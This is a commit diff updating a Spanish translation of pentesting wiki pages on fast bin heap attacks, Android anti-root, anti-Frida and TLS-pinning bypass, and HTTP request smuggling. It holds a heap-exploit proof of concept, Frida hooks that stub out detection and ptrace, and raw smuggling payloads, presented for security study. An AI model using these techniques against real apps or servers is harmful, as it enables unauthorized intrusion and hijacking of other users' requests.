Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

This commit is contained in:
Translator 2025-08-22 16:37:35 +00:00
parent dc0ec8cfa3
commit 8f872e7b3b
5 changed files with 425 additions and 345 deletions

View File

@ -2,17 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
Para más información sobre qué es un fast bin consulta esta página:
Para más información sobre qué es un fast bin, consulta esta página:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Debido a que el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y solo **modificar una dirección en un chunk de fast bin liberado** es suficiente para poder **asignar más tarde un chunk en cualquier dirección de memoria**.
Porque el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y con solo **modificar una dirección en un chunk de fast bin liberado** es suficiente para poder **allocate later a chunk in any memory address**.
Como resumen:
En resumen:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -28,7 +29,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
Puedes encontrar un ejemplo completo en un código muy bien explicado de [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
Puedes encontrar un ejemplo completo en un código muy bien explicado en [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
@ -118,26 +119,32 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
}
```
> [!CAUTION]
> Si es posible sobrescribir el valor de la variable global **`global_max_fast`** con un número grande, esto permite generar chunks de fast bin de tamaños mayores, lo que potencialmente permite realizar ataques de fast bin en escenarios donde anteriormente no era posible. Esta situación es útil en el contexto de [large bin attack](large-bin-attack.md) y [unsorted bin attack](unsorted-bin-attack.md)
> Si es posible sobrescribir el valor de la variable global **`global_max_fast`** con un número grande, esto permite generar fast bin chunks de tamaños mayores, potencialmente permitiendo realizar fast bin attacks en escenarios donde antes no era posible. Esta situación es útil en el contexto de [large bin attack](large-bin-attack.md) y [unsorted bin attack](unsorted-bin-attack.md)
## Ejemplos
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- Es posible asignar chunks, liberarlos, leer su contenido y llenarlos (con una vulnerabilidad de desbordamiento).
- **Consolidar chunk para infoleak**: La técnica consiste básicamente en abusar del desbordamiento para crear un `prev_size` falso, de modo que un chunk anterior se coloque dentro de uno más grande, por lo que al asignar el más grande que contiene otro chunk, es posible imprimir sus datos y filtrar una dirección a libc (`main_arena+88`).
- **Sobrescribir malloc hook**: Para esto, y abusando de la situación de superposición anterior, fue posible tener 2 chunks que apuntaban a la misma memoria. Por lo tanto, al liberar ambos (liberando otro chunk en medio para evitar protecciones) fue posible tener el mismo chunk en el fast bin 2 veces. Luego, fue posible asignarlo nuevamente, sobrescribir la dirección del siguiente chunk para que apunte un poco antes de `__malloc_hook` (así que apunta a un entero que malloc piensa que es un tamaño libre - otro bypass), asignarlo nuevamente y luego asignar otro chunk que recibirá una dirección a malloc hooks.\
Finalmente, se escribió un **one gadget** allí.
- Es posible allocate chunks, free them, leer su contenido y rellenarlos (con una overflow vulnerability).
- **Consolidate chunk for infoleak**: La técnica consiste básicamente en abusar del overflow para crear un `prev_size` falso de modo que un chunk anterior quede dentro de uno más grande, por lo que al allocating el chunk más grande que contiene otro chunk, es posible imprimir sus datos y leak una dirección de libc (`main_arena+88`).
- **Overwrite malloc hook**: Para esto, y abusando de la situación de solapamiento previa, fue posible tener 2 chunks apuntando a la misma memoria. Por lo tanto, freeing ambos (freeing otro chunk entre medias para evitar protecciones) permitió tener el mismo chunk en el fast bin 2 veces. Luego, fue posible allocate de nuevo, overwrite la dirección del next chunk para que apunte un poco antes de `__malloc_hook` (de modo que apunte a un entero que malloc interpreta como un tamaño libre - otro bypass), allocate de nuevo y luego allocate otro chunk que recibirá una dirección hacia malloc hooks.\ Finalmente se escribió un **one gadget** allí.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- Hay un desbordamiento de heap y uso después de liberar y doble liberación porque cuando un chunk se libera es posible reutilizar y volver a liberar los punteros.
- **Libc info leak**: Simplemente libera algunos chunks y obtendrán un puntero a una parte de la ubicación de la arena principal. Como puedes reutilizar punteros liberados, simplemente lee esta dirección.
- **Fast bin attack**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de chunks de fast bin y en el último sobrescribir la dirección para que apunte un poco antes de este array de punteros. Luego, asigna un par de chunks del mismo tamaño y obtendremos primero el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para luego llamar a `free(chunk1)` que en su lugar ejecutará `system("/bin/sh")`.
- Hay un heap overflow y use after free y double free porque cuando un chunk es freed es posible reutilizar y volver a freear los punteros.
- **Libc info leak**: Basta freear algunos chunks y obtendrán un puntero a una parte de la ubicación del main arena. Como puedes reuse freed pointers, simplemente lee esa address.
- **Fast bin attack**: Todos los punteros a las allocations están almacenados dentro de un array, así que podemos freear un par de fast bin chunks y en el último sobrescribir la dirección para que apunte un poco antes de ese array de punteros. Luego, allocate un par de chunks del mismo tamaño y obtendremos primero el legítimo y luego el fake que contiene el array de punteros. Ahora podemos overwrite los pointers de esa allocation para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el chunk 1 para llamar a `free(chunk1)`, lo cual en su lugar ejecutará `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Otro ejemplo de abusar de un desbordamiento de un byte para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget.
- Otro ejemplo de abuso de un one byte overflow para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un fast bin attack para overwrite malloc hook con una dirección de one gadget
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- Después de un infoleak abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un chunk en un lugar donde se encontraban los punteros a los chunks controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT.
- Puedes encontrar un ataque de Fast Bin abusado a través de un ataque de unsorted bin:
- Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/heap (cuando sea necesario).
- Tras un infoleak abusando del unsorted bin con un UAF para leak una dirección de libc y una dirección PIE, el exploit de este CTF usó un fast bin attack para allocate un chunk en un lugar donde estaban los punteros a chunks controlados, por lo que fue posible overwrite ciertos punteros para escribir un one gadget en la GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Ten en cuenta que es común, antes de realizar fast bin attacks, abusar de las free-lists para leak direcciones de libc/heap (cuando sea necesario).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Solo podemos asignar chunks de tamaño mayor que `0x100`.
- Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
- Ataque de Fast Bin para modificar un array global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar la GOT y establecer algunas funciones para que apunten a `system`.
- Solo podemos allocate chunks de tamaño mayor que `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack para modificar una global array de chunks. Esto da un primitive de read/write arbitrario, que permite modificar la GOT y apuntar alguna función a `system`.
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,75 +2,75 @@
{{#include ../../banners/hacktricks-training.md}}
Esta página proporciona un flujo de trabajo práctico para recuperar el análisis dinámico contra aplicaciones de Android que detectan/bloquean la instrumentación o imponen el pinning TLS. Se centra en la evaluación rápida, detecciones comunes y ganchos/tácticas que se pueden copiar y pegar para eludirlas sin recompilar cuando sea posible.
Esta página proporciona un flujo de trabajo práctico para recuperar el análisis dinámico contra aplicaciones Android que detectan/bloquean instrumentación por root o aplican TLS pinning. Se centra en un triage rápido, detecciones comunes y hooks/tácticas copiables para evitarlas sin reempaquetar cuando sea posible.
## Superficie de Detección (lo que las aplicaciones verifican)
## Detection Surface (what apps check)
- Comprobaciones de root: binario su, rutas de Magisk, valores de getprop, paquetes de root comunes
- Comprobaciones de Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), escaneando /proc, classpath, libs cargadas
- Anti-debug nativo: ptrace(), syscalls, anti-attach, breakpoints, inline hooks
- Comprobaciones de inicio temprano: Application.onCreate() o ganchos de inicio de proceso que fallan si la instrumentación está presente
- Pining TLS: TrustManager/HostnameVerifier personalizados, OkHttp CertificatePinner, pining de Conscrypt, pines nativos
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native antidebug: ptrace(), syscalls, antiattach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Paso 1 — Victoria rápida: ocultar root con Magisk DenyList
## Step 1 — Quick win: hide root with Magisk DenyList
- Habilitar Zygisk en Magisk
- Habilitar DenyList, agregar el paquete objetivo
- Reiniciar y volver a probar
- Enable Zygisk in Magisk
- Enable DenyList, add the target package
- Reboot and retest
Muchas aplicaciones solo buscan indicadores obvios (rutas su/Magisk/getprop). DenyList a menudo neutraliza comprobaciones ingenuas.
Muchas apps solo buscan indicadores obvios (su/Magisk paths/getprop). DenyList a menudo neutraliza comprobaciones ingenuas.
Referencias:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Paso 2 — Pruebas de Frida Codeshare de 30 segundos
## Step 2 — 30second Frida Codeshare tests
Prueba scripts comunes antes de profundizar:
Prueba scripts comunes dropin antes de profundizar:
- anti-root-bypass.js
- anti-frida-detection.js
- hide_frida_gum.js
Ejemplo:
Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Estos típicamente interrumpen las verificaciones de raíz/debug de Java, escaneos de procesos/servicios y ptrace() nativo. Útil en aplicaciones ligeramente protegidas; los objetivos endurecidos pueden necesitar ganchos personalizados.
Estos típicamente crean stubs para las comprobaciones Java de root/debug, los escaneos de process/service y la ptrace() nativa. Útiles en apps con protección ligera; objetivos hardened pueden necesitar hooks personalizados.
- Codeshare: https://codeshare.frida.re/
## Paso 3 — Eludir detectores de tiempo de inicialización al adjuntarse tarde
## Paso 3 — Bypass init-time detectors by attaching late
Muchas detecciones solo se ejecutan durante la creación del proceso/onCreate(). La inyección en el momento de la creación (-f) o gadgets son detectados; adjuntarse después de que se cargue la UI puede pasar desapercibido.
Muchas detecciones sólo se ejecutan durante el spawn del proceso/onCreate(). La inyección en spawntime (-f) o los gadgets suelen ser detectados; adjuntar después de que la UI cargue puede pasar desapercibido.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Si esto funciona, mantén la sesión estable y procede a mapear y verificar los stubs.
Si esto funciona, mantén la sesión estable y procede a mapear y comprobar stubs.
## Paso 4 — Mapear la lógica de detección a través de Jadx y búsqueda de cadenas
## Paso 4 — Mapear la lógica de detección vía Jadx y búsqueda de cadenas
Palabras clave de triaje estático en Jadx:
Palabras clave de triage estático en Jadx:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Patrones típicos de Java:
Patrones Java típicos:
```java
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
APIs comunes para revisar/enganchar:
APIs comunes a revisar/hook:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (puente nativo)
- java.lang.Runtime.exec / ProcessBuilder (comandos de sondeo)
- android.os.SystemProperties.get (heurísticas de root/emulador)
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
## Paso 5 — Stubbing en tiempo de ejecución con Frida (Java)
## Paso 5 — Runtime stubbing con Frida (Java)
Sobrescribir guardias personalizadas para devolver valores seguros sin recompresión:
Anular guardias personalizados para devolver valores seguros sin reempaquetar:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
¿Clasificando fallos tempranos? Volcar clases justo antes de que muera para detectar espacios de nombres de detección probables:
¿Clasificando fallos tempranos? Dump classes justo antes de que muera para detectar posibles namespaces de detección:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
});
});
```
Registra y neutraliza métodos sospechosos para confirmar el flujo de ejecución:
Log y neutraliza métodos sospechosos para confirmar el flujo de ejecución:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -104,24 +104,24 @@ return false;
};
});
```
## Paso 6 — Sigue la pista JNI/nativa cuando los hooks de Java fallan
## Paso 6 — Sigue la pista JNI/native cuando los hooks de Java fallan
Rastrea los puntos de entrada JNI para localizar cargadores nativos e inicialización de detección:
Traza puntos de entrada JNI para localizar native loaders y detection init:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
Triage nativo rápido de archivos .so empaquetados:
Clasificación rápida nativa de los archivos .so incluidos:
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
Reversión interactiva/nativa:
Reversing interactivo/nativo:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Ejemplo: neuter ptrace para derrotar un simple antidebug en libc:
Ejemplo: neutralizar ptrace para eludir un antidebug simple en libc:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -130,40 +130,43 @@ return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}
```
Véase también: {{#ref}}
Véase también:
{{#ref}}
reversing-native-libraries.md
{{#endref}}
## Paso 7 — Patching de Objection (incrustar gadget / conceptos básicos de strip)
## Paso 7 — Objection patching (embed gadget / strip basics)
Cuando prefieras el repacking a los hooks en tiempo de ejecución, prueba:
Cuando prefieras repacking en lugar de runtime hooks, prueba:
```bash
objection patchapk --source app.apk
```
Notas:
- Requiere apktool; asegúrate de tener una versión actual de la guía oficial para evitar problemas de compilación: https://apktool.org/docs/install
- La inyección de gadgets permite la instrumentación sin root, pero aún puede ser detectada por verificaciones más fuertes en el tiempo de inicio.
- Requiere apktool; asegúrate de usar una versión actual siguiendo la guía oficial para evitar problemas de compilación: https://apktool.org/docs/install
- Gadget injection permite instrumentation sin root, pero aún puede ser detectado por inittime checks más estrictos.
Referencias:
- Objection: https://github.com/sensepost/objection
## Paso 8 — Alternativa: Parchear el pinning de TLS para visibilidad de red
## Paso 8 — Solución alternativa: Parchear TLS pinning para visibilidad de la red
Si la instrumentación está bloqueada, aún puedes inspeccionar el tráfico eliminando el pinning de forma estática:
Si instrumentation está bloqueada, aún puedes inspeccionar el tráfico eliminando pinning de forma estática:
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- Herramienta: https://github.com/shroudedcode/apk-mitm
- Para trucos de configuración de red CAtrust (y confianza de CA de usuario en Android 7+), consulta:
- Para trucos de CAtrust en la configuración de red (y la confianza de CA de usuario en Android 7+), ver:
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
{{#ref}}
install-burp-certificate.md
{{#endref}}
## Hoja de trucos de comandos útil
## Hoja de referencia rápida de comandos
```bash
# List processes and attach
frida-ps -Uai
@ -183,12 +186,12 @@ apk-mitm app.apk
```
## Consejos y advertencias
- Prefiere adjuntar tarde en lugar de crear procesos cuando las aplicaciones se bloquean al iniciar
- Algunas detecciones se vuelven a ejecutar en flujos críticos (por ejemplo, pago, autenticación) — mantén los hooks activos durante la navegación
- Mezcla estático y dinámico: busca cadenas en Jadx para hacer una lista corta de clases; luego engancha métodos para verificar en tiempo de ejecución
- Las aplicaciones endurecidas pueden usar empacadores y pinning TLS nativo — espera invertir código nativo
- Prefiere attaching tarde en lugar de spawning cuando las apps se bloquean al iniciarse
- Algunas detecciones se reejecutan en flujos críticos (p. ej., payment, auth) — mantén los hooks activos durante la navegación
- Combina estático y dinámico: string hunt en Jadx para preseleccionar clases; luego hookea métodos para verificar en tiempo de ejecución
- Las apps reforzadas pueden usar packers y native TLS pinning — prepárate para revertir código nativo
## Referencias
## References
- [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
- [Frida Codeshare](https://codeshare.frida.re/)

View File

@ -2,62 +2,63 @@
{{#include ../../banners/hacktricks-training.md}}
## Qué es
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el servidor **back-end** permite a un **atacante** **enviar** una **solicitud** HTTP que será **interpretada** como una **solicitud única** por los proxies de **front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el servidor **back-end**.\
Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor back-end después de la suya**.
## ¿Qué es
Esta vulnerabilidad ocurre cuando una **desincronización** entre **front-end proxies** y el servidor **back-end** permite que un **atacante** **envíe** una **request** HTTP que será **interpretada** como una **sola request** por los **front-end** proxies (load balance/reverse-proxy) y **como 2 requests** por el servidor **back-end**.\
Esto permite a un usuario **modificar la siguiente request que llega al back-end server después de la suya**.
### Teoría
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
> Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
**Content-Length**
> El encabezado de entidad Content-Length indica el tamaño del cuerpo de la entidad, en bytes, enviado al destinatario.
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
**Transfer-Encoding: chunked**
> El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de la carga útil al usuario.\
> Chunked significa que los datos grandes se envían en una serie de fragmentos.
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
### Realidad
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **viniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
El **Front-End** (a load-balance / Reverse Proxy) **procesa** el _**content-length**_ o el _**transfer-encoding**_ header y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
Esto puede ser muy crítico ya que **un atacante podrá enviar una request** al reverse proxy que será **interpretada** por el servidor **back-end** **como 2 requests diferentes**. El **peligro** de esta técnica reside en que el servidor **back-end** **interpretará** la **segunda request inyectada** como si **viniera del siguiente cliente** y la **request real** de ese cliente será **parte** de la **request inyectada**.
### Particularidades
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
- **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
- **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** por el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
- **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Request Smuggling.
- **Content-Length**: Este header usa un **número decimal** para indicar el **número** de **bytes** del **body** de la request. Se espera que el body termine en el último carácter, **no se necesita una nueva línea al final de la request**.
- **Transfer-Encoding:** Este header usa en el **body** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente chunk**. El **chunk** debe **terminar** con una **nueva línea** pero esa nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **chunk de tamaño 0 seguido de 2 nuevas líneas**: `0`
- **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera request del request Smuggling.
## Ejemplos Básicos
## Ejemplos básicos
> [!TIP]
> Al intentar explotar esto con Burp Suite **desactiva `Update Content-Length` y `Normalize HTTP/1 line endings`** en el repetidor porque algunos gadgets abusan de nuevas líneas, retornos de carro y longitudes de contenido malformadas.
> Al intentar explotar esto con Burp Suite **desactiva `Update Content-Length` y `Normalize HTTP/1 line endings`** en el repeater porque algunos gadgets abusan de newlines, carriage returns y content-lengths malformados.
Los ataques de HTTP request smuggling se crean enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
Los ataques de HTTP request smuggling se crean enviando requests ambiguas que explotan discrepancias en cómo front-end y back-end interpretran los headers `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse de diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores front-end y back-end priorizan estos headers. Las vulnerabilidades surgen cuando los servidores procesan la misma request de maneras diferentes, llevando a resultados inesperados y potencialmente maliciosos.
### Ejemplos Básicos de Tipos de Vulnerabilidad
### Ejemplos básicos de tipos de vulnerabilidad
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> A la tabla anterior deberías agregar la técnica TE.0, como la técnica CL.0 pero usando Transfer Encoding.
> A la tabla anterior deberías añadir la técnica TE.0, similar a la técnica CL.0 pero usando Transfer Encoding.
#### Vulnerabilidad CL.TE (Content-Length usado por Front-End, Transfer-Encoding usado por Back-End)
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL):** Procesa la solicitud basada en el encabezado `Content-Length`.
- **Back-End (TE):** Procesa la solicitud basada en el encabezado `Transfer-Encoding`.
- **Escenario de Ataque:**
- **Front-End (CL):** Procesa la request basándose en el header `Content-Length`.
- **Back-End (TE):** Procesa la request basándose en el header `Transfer-Encoding`.
- **Escenario de ataque:**
- El atacante envía una solicitud donde el valor del encabezado `Content-Length` no coincide con la longitud real del contenido.
- El servidor de front-end reenvía toda la solicitud al back-end, basado en el valor de `Content-Length`.
- El servidor back-end procesa la solicitud como fragmentada debido al encabezado `Transfer-Encoding: chunked`, interpretando los datos restantes como una solicitud separada y subsiguiente.
- El atacante envía una request donde el valor del header `Content-Length` no coincide con la longitud real del contenido.
- El front-end server reenvía la request completa al back-end, basándose en el valor de `Content-Length`.
- El back-end server procesa la request como chunked debido al header `Transfer-Encoding: chunked`, interpretando los datos restantes como una request separada y subsecuente.
- **Ejemplo:**
```
@ -73,15 +74,15 @@ GET /404 HTTP/1.1
Foo: x
```
#### Vulnerabilidad TE.CL (Transfer-Encoding usado por Front-End, Content-Length usado por Back-End)
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **Front-End (TE):** Procesa la solicitud basada en el encabezado `Transfer-Encoding`.
- **Back-End (CL):** Procesa la solicitud basada en el encabezado `Content-Length`.
- **Escenario de Ataque:**
- **Front-End (TE):** Procesa la request basándose en el header `Transfer-Encoding`.
- **Back-End (CL):** Procesa la request basándose en el header `Content-Length`.
- **Escenario de ataque:**
- El atacante envía una solicitud fragmentada donde el tamaño del fragmento (`7b`) y la longitud real del contenido (`Content-Length: 4`) no se alinean.
- El servidor de front-end, respetando `Transfer-Encoding`, reenvía toda la solicitud al back-end.
- El servidor back-end, respetando `Content-Length`, procesa solo la parte inicial de la solicitud (`7b` bytes), dejando el resto como parte de una solicitud subsiguiente no intencionada.
- El atacante envía una request chunked donde el tamaño del chunk (`7b`) y la longitud real del contenido (`Content-Length: 4`) no coinciden.
- El front-end server, respetando `Transfer-Encoding`, reenvía la request completa al back-end.
- El back-end server, respetando `Content-Length`, procesa solo la parte inicial de la request (`7b` bytes), dejando el resto como parte de una request subsecuente no intencionada.
- **Ejemplo:**
```
@ -102,14 +103,14 @@ x=
```
#### Vulnerabilidad TE.TE (Transfer-Encoding usado por ambos, con ofuscación)
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Servidores:** Ambos soportan `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo a través de la ofuscación.
- **Escenario de Ataque:**
- **Servers:** Ambos soportan `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo mediante obfuscación.
- **Escenario de ataque:**
- El atacante envía una solicitud con encabezados `Transfer-Encoding` ofuscados.
- Dependiendo de qué servidor (front-end o back-end) no reconozca la ofuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
- La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando al smuggling.
- El atacante envía una request con headers `Transfer-Encoding` obfuscados.
- Dependiendo de cuál servidor (front-end o back-end) no reconozca la obfuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
- La parte no procesada de la request, tal como la ve uno de los servidores, se convierte en parte de una request subsecuente, llevando al smuggling.
- **Ejemplo:**
```
@ -129,10 +130,10 @@ Transfer-Encoding
: chunked
```
#### **Escenario CL.CL (Content-Length usado por ambos Front-End y Back-End)**
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- Ambos servidores procesan la solicitud basándose únicamente en el encabezado `Content-Length`.
- Este escenario típicamente no conduce a smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la solicitud.
- Ambos servidores procesan la request basándose únicamente en el header `Content-Length`.
- Este escenario típicamente no conduce a smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la request.
- **Ejemplo:**
```
@ -144,10 +145,10 @@ Connection: keep-alive
Normal Request
```
#### **Escenario CL.0**
#### **CL.0 Scenario**
- Se refiere a escenarios donde el encabezado `Content-Length` está presente y tiene un valor diferente de cero, indicando que el cuerpo de la solicitud tiene contenido. El back-end ignora el encabezado `Content-Length` (que se trata como 0), pero el front-end lo analiza.
- Es crucial para entender y crear ataques de smuggling, ya que influye en cómo los servidores determinan el final de una solicitud.
- Se refiere a escenarios donde el header `Content-Length` está presente y tiene un valor distinto de cero, indicando que el body de la request tiene contenido. El back-end ignora el header `Content-Length` (que es tratado como 0), pero el front-end lo parsea.
- Es crucial para entender y crear ataques de smuggling, ya que influye en cómo los servidores determinan el final de una request.
- **Ejemplo:**
```
@ -159,11 +160,11 @@ Connection: keep-alive
Non-Empty Body
```
#### Escenario TE.0
#### TE.0 Scenario
- Similar al anterior pero usando TE.
- Técnica [reportada aquí](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Ejemplo**:
- Igual que el anterior pero usando TE
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -181,33 +182,34 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### Rompiendo el servidor web
#### Romper el servidor web
Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se lee los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta manera, el **cuerpo** de la solicitud HTTP será considerado como la **siguiente solicitud HTTP**.
